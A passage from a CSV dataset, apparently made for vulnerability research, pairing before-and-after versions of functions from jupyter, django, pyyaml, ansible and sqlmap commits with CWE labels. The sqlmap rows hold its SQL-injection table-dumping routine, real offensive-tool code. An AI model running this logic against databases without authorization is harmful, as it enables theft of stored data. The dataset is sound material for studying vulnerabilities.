        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/bundler/tarball_bundler.py,0,"def _jupyter_bundlerextension_paths():
    """"""Metadata for notebook bundlerextension""""""
    return [{
        # unique bundler name
        ""name"": ""tarball_bundler"",
        # module containing bundle function
        ""module_name"": ""notebook.bundler.tarball_bundler"",
        # human-readable menu item label
        ""label"" : ""Notebook Tarball (tar.gz)"",
        # group under 'deploy' or 'download' menu
        ""group"" : ""download"",
    }]",,jupyter/notebook,bd66c18b4f86bf81cb6f847ddd5492095ce6b6b9,"def _jupyter_bundlerextension_paths():
    """"""Metadata for notebook bundlerextension""""""
    return [{
        # unique bundler name
        ""name"": ""tarball_bundler"",
        # module containing bundle function
        ""module_name"": ""notebook.bundler.tarball_bundler"",
        # human-redable menu item label
        ""label"" : ""Notebook Tarball (tar.gz)"",
        # group under 'deploy' or 'download' menu
        ""group"" : ""download"",
    }]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,0,"def setUp(self):
        super().setUp()
        self.lisa = Student.objects.create(name=""Lisa"")
        self.john = Student.objects.create(name=""John"")
        self.bob = Student.objects.create(name=""Bob"")
        self.peter = Student.objects.create(name=""Peter"")
        self.jenny = Student.objects.create(name=""Jenny"")
        self.jason = Student.objects.create(name=""Jason"")
        self.cliff = Student.objects.create(name=""Cliff"")
        self.arthur = Student.objects.create(name=""Arthur"")
        self.school = School.objects.create(name=""School of Awesome"")",CWE-Unknown,django/django,8c118c0e00846091c261b97dbed9a5b89ceb79bf,"def setUp(self):
        super().setUp()
        self.lisa = Student.objects.create(name=""Lisa"")
        self.john = Student.objects.create(name=""John"")
        self.bob = Student.objects.create(name=""Bob"")
        self.peter = Student.objects.create(name=""Peter"")
        self.jenny = Student.objects.create(name=""Jenny"")
        self.jason = Student.objects.create(name=""Jason"")
        self.cliff = Student.objects.create(name=""Cliff"")
        self.arthur = Student.objects.create(name=""Arthur"")
        self.school = School.objects.create(name=""School of Awesome"")"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/__init__.py,0,"def scan(stream, Loader=Loader):
    """"""
    Scan a YAML stream and produce scanning tokens.
    """"""

    if hasattr(Loader, '_yaml_instance'):
        loader = Loader
    else:
        loader = Loader(stream)

    try:
        while loader.check_token():
            yield loader.get_token()
    finally:
        loader.dispose()",,yaml/pyyaml,c468e526797720ef59e57e6c92a1603479d4c010,"def scan(stream, Loader=Loader):
    """"""
    Scan a YAML stream and produce scanning tokens.
    """"""
    loader = Loader(stream)
    try:
        while loader.check_token():
            yield loader.get_token()
    finally:
        loader.dispose()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_profile_udp.py,0,"def create_on_device(self):
        params = self.changes.api_params()
        params['name'] = self.want.name
        params['partition'] = self.want.partition
        uri = ""https://{0}:{1}/mgmt/tm/ltm/profile/udp/"".format(
            self.client.provider['server'],
            self.client.provider['server_port']
        )
        resp = self.client.api.post(uri, json=params)
        try:
            response = resp.json()
        except ValueError as ex:
            raise F5ModuleError(str(ex))

        if 'code' in response and response['code'] in [400, 403, 404]:
            if 'message' in response:
                raise F5ModuleError(response['message'])
            else:
                raise F5ModuleError(resp.content)
        return response['selfLink']",,ansible/ansible,c0520b94b8ff3ea0198151d1db4ad096679f81e5,"def create_on_device(self):
        params = self.changes.api_params()
        params['name'] = self.want.name
        params['partition'] = self.want.partition
        uri = ""https://{0}:{1}/mgmt/tm/ltm/profile/udp/"".format(
            self.client.provider['server'],
            self.client.provider['server_port']
        )
        resp = self.client.api.post(uri, json=params)
        try:
            response = resp.json()
        except ValueError as ex:
            raise F5ModuleError(str(ex))

        if 'code' in response and response['code'] in [400, 403]:
            if 'message' in response:
                raise F5ModuleError(response['message'])
            else:
                raise F5ModuleError(resp.content)
        return response['selfLink']"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_handlers(self, settings):
        """"""Load the (URL pattern, handler) tuples for each component.""""""
        
        # Order matters. The first handler to match the URL will handle the request.
        handlers = []
        handlers.extend(load_handlers('tree.handlers'))
        handlers.extend([(r""/login"", settings['login_handler_class'])])
        handlers.extend([(r""/logout"", settings['logout_handler_class'])])
        handlers.extend(load_handlers('files.handlers'))
        handlers.extend(load_handlers('notebook.handlers'))
        handlers.extend(load_handlers('nbconvert.handlers'))
        handlers.extend(load_handlers('kernelspecs.handlers'))
        handlers.extend(load_handlers('edit.handlers'))
        handlers.extend(load_handlers('services.api.handlers'))
        handlers.extend(load_handlers('services.config.handlers'))
        handlers.extend(load_handlers('services.kernels.handlers'))
        handlers.extend(load_handlers('services.contents.handlers'))
        handlers.extend(load_handlers('services.sessions.handlers'))
        handlers.extend(load_handlers('services.nbconvert.handlers'))
        handlers.extend(load_handlers('services.kernelspecs.handlers'))
        handlers.extend(load_handlers('services.security.handlers'))
        
        # BEGIN HARDCODED WIDGETS HACK
        # TODO: Remove on notebook 5.0
        try:
            import widgetsnbextension
        except:
            try:
                import ipywidgets as widgets
                handlers.append(
                    (r""/nbextensions/widgets/(.*)"", FileFindHandler, {
                        'path': widgets.find_static_assets(),
                        'no_cache_paths': ['/'], # don't cache anything in nbextensions
                    }),
                )
            except:
                app_log.warning('Widgets are unavailable. Please install widgetsnbextension or ipywidgets 4.0')
        # END HARDCODED WIDGETS HACK
        
        handlers.append(
            (r""/nbextensions/(.*)"", FileFindHandler, {
                'path': settings['nbextensions_path'],
                'no_cache_paths': ['/'], # don't cache anything in nbextensions
            }),
        )
        handlers.append(
            (r""/custom/(.*)"", FileFindHandler, {
                'path': settings['static_custom_path'],
                'no_cache_paths': ['/'], # don't cache anything in custom
            })
        )
        # register base handlers last
        handlers.extend(load_handlers('base.handlers'))
        # set the URL that will be redirected from `/`
        handlers.append(
            (r'/?', web.RedirectHandler, {
                'url' : settings['default_url'],
                'permanent': False, # want 302, not 301
            })
        )

        # prepend base_url onto the patterns that we match
        new_handlers = []
        for handler in handlers:
            pattern = url_path_join(settings['base_url'], handler[0])
            new_handler = tuple([pattern] + list(handler[1:]))
            new_handlers.append(new_handler)
        # add 404 on the end, which will catch everything that falls through
        new_handlers.append((r'(.*)', Template404))
        return new_handlers",,jupyter/notebook,a58b9d736af27f24ec00e29bd753f648eeeb7d3b,"def init_handlers(self, settings):
        """"""Load the (URL pattern, handler) tuples for each component.""""""
        
        # Order matters. The first handler to match the URL will handle the request.
        handlers = []
        handlers.extend(load_handlers('tree.handlers'))
        handlers.extend([(r""/login"", settings['login_handler_class'])])
        handlers.extend([(r""/logout"", settings['logout_handler_class'])])
        handlers.extend(load_handlers('files.handlers'))
        handlers.extend(load_handlers('notebook.handlers'))
        handlers.extend(load_handlers('nbconvert.handlers'))
        handlers.extend(load_handlers('kernelspecs.handlers'))
        handlers.extend(load_handlers('edit.handlers'))
        handlers.extend(load_handlers('services.api.handlers'))
        handlers.extend(load_handlers('services.config.handlers'))
        handlers.extend(load_handlers('services.kernels.handlers'))
        handlers.extend(load_handlers('services.contents.handlers'))
        handlers.extend(load_handlers('services.sessions.handlers'))
        handlers.extend(load_handlers('services.nbconvert.handlers'))
        handlers.extend(load_handlers('services.kernelspecs.handlers'))
        handlers.extend(load_handlers('services.security.handlers'))
        
        # BEGIN HARDCODED WIDGETS HACK
        # TODO: Remove on notebook 5.0
        try:
            import ipywidgets as widgets
            handlers.append(
                (r""/nbextensions/widgets/(.*)"", FileFindHandler, {
                    'path': widgets.find_static_assets(),
                    'no_cache_paths': ['/'], # don't cache anything in nbextensions
                }),
            )
        except:
            app_log.warning('Widgets are unavailable. Please install widgetsnbextension or ipywidgets 4.0')
        # END HARDCODED WIDGETS HACK
        
        handlers.append(
            (r""/nbextensions/(.*)"", FileFindHandler, {
                'path': settings['nbextensions_path'],
                'no_cache_paths': ['/'], # don't cache anything in nbextensions
            }),
        )
        handlers.append(
            (r""/custom/(.*)"", FileFindHandler, {
                'path': settings['static_custom_path'],
                'no_cache_paths': ['/'], # don't cache anything in custom
            })
        )
        # register base handlers last
        handlers.extend(load_handlers('base.handlers'))
        # set the URL that will be redirected from `/`
        handlers.append(
            (r'/?', web.RedirectHandler, {
                'url' : settings['default_url'],
                'permanent': False, # want 302, not 301
            })
        )

        # prepend base_url onto the patterns that we match
        new_handlers = []
        for handler in handlers:
            pattern = url_path_join(settings['base_url'], handler[0])
            new_handler = tuple([pattern] + list(handler[1:]))
            new_handlers.append(new_handler)
        # add 404 on the end, which will catch everything that falls through
        new_handlers.append((r'(.*)', Template404))
        return new_handlers"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/entries.py,0,"def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) entries""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
                elif Backend.isDbms(DBMS.SQLITE):
                    kb.dumpTable = tbl
                else:
                    kb.dumpTable = ""%s.%s"" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = ""unable to enumerate the columns for table ""
                    warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "", skipping"" if len(tblList) > 1 else """"
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]

                if not colList:
                    warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "" (no usable column names)""
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
                colNames = colString = "", "".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = ""fetching entries""
                if conf.col:
                    infoMsg += "" of column(s) '%s'"" % colNames
                infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = ""%s.%s"" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                                warnMsg += ""you are advised to rerun with '--force-pivoting'""
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or """"
                                                row.append(value)

                                            if not entries and isNoneValue(row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = ""Ctrl+C detected in dumping phase""
                                        logger.warn(warnMsg)

                            if isNoneValue(entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = ""Ctrl+C detected in dumping phase""
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(_zip(*[entries[colName] for colName in colList]))
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][""length""]:
                                    kb.data.dumpedTable[column][""length""] = maxLen

                                kb.data.dumpedTable[column][""values""].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = ""fetching number of ""
                    if conf.col:
                        infoMsg += ""column(s) '%s' "" % colNames
                    infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += ""appears to be empty""
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = ""unable to retrieve the number of ""
                        if conf.col:
                            warnMsg += ""column(s) '%s' "" % colNames
                        warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = ""%s:%s"" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                            warnMsg += ""you are advised to rerun with '--force-pivoting'""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or """"

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = ""checking for empty columns""
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
                                    debugMsg += ""dumped as it appears to be empty""
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = """"

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = ""unable to retrieve the entries ""
                    if conf.col:
                        warnMsg += ""of columns '%s' "" % colNames
                    warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
                                                        ""table"": safeSQLIdentificatorNaming(tbl, True),
                                                        ""db"": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = ""an error occurred while attacking ""
                        errMsg += ""table dump ('%s')"" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = ""connection exception detected in dumping phase ""
                errMsg += ""('%s')"" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None",,sqlmapproject/sqlmap,9a36357c52c9cfded5076513302db9eef4d9e37f,"def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) entries""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
                else:
                    kb.dumpTable = ""%s.%s"" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = ""unable to enumerate the columns for table ""
                    warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "", skipping"" if len(tblList) > 1 else """"
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]

                if not colList:
                    warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "" (no usable column names)""
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
                colNames = colString = "", "".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = ""fetching entries""
                if conf.col:
                    infoMsg += "" of column(s) '%s'"" % colNames
                infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
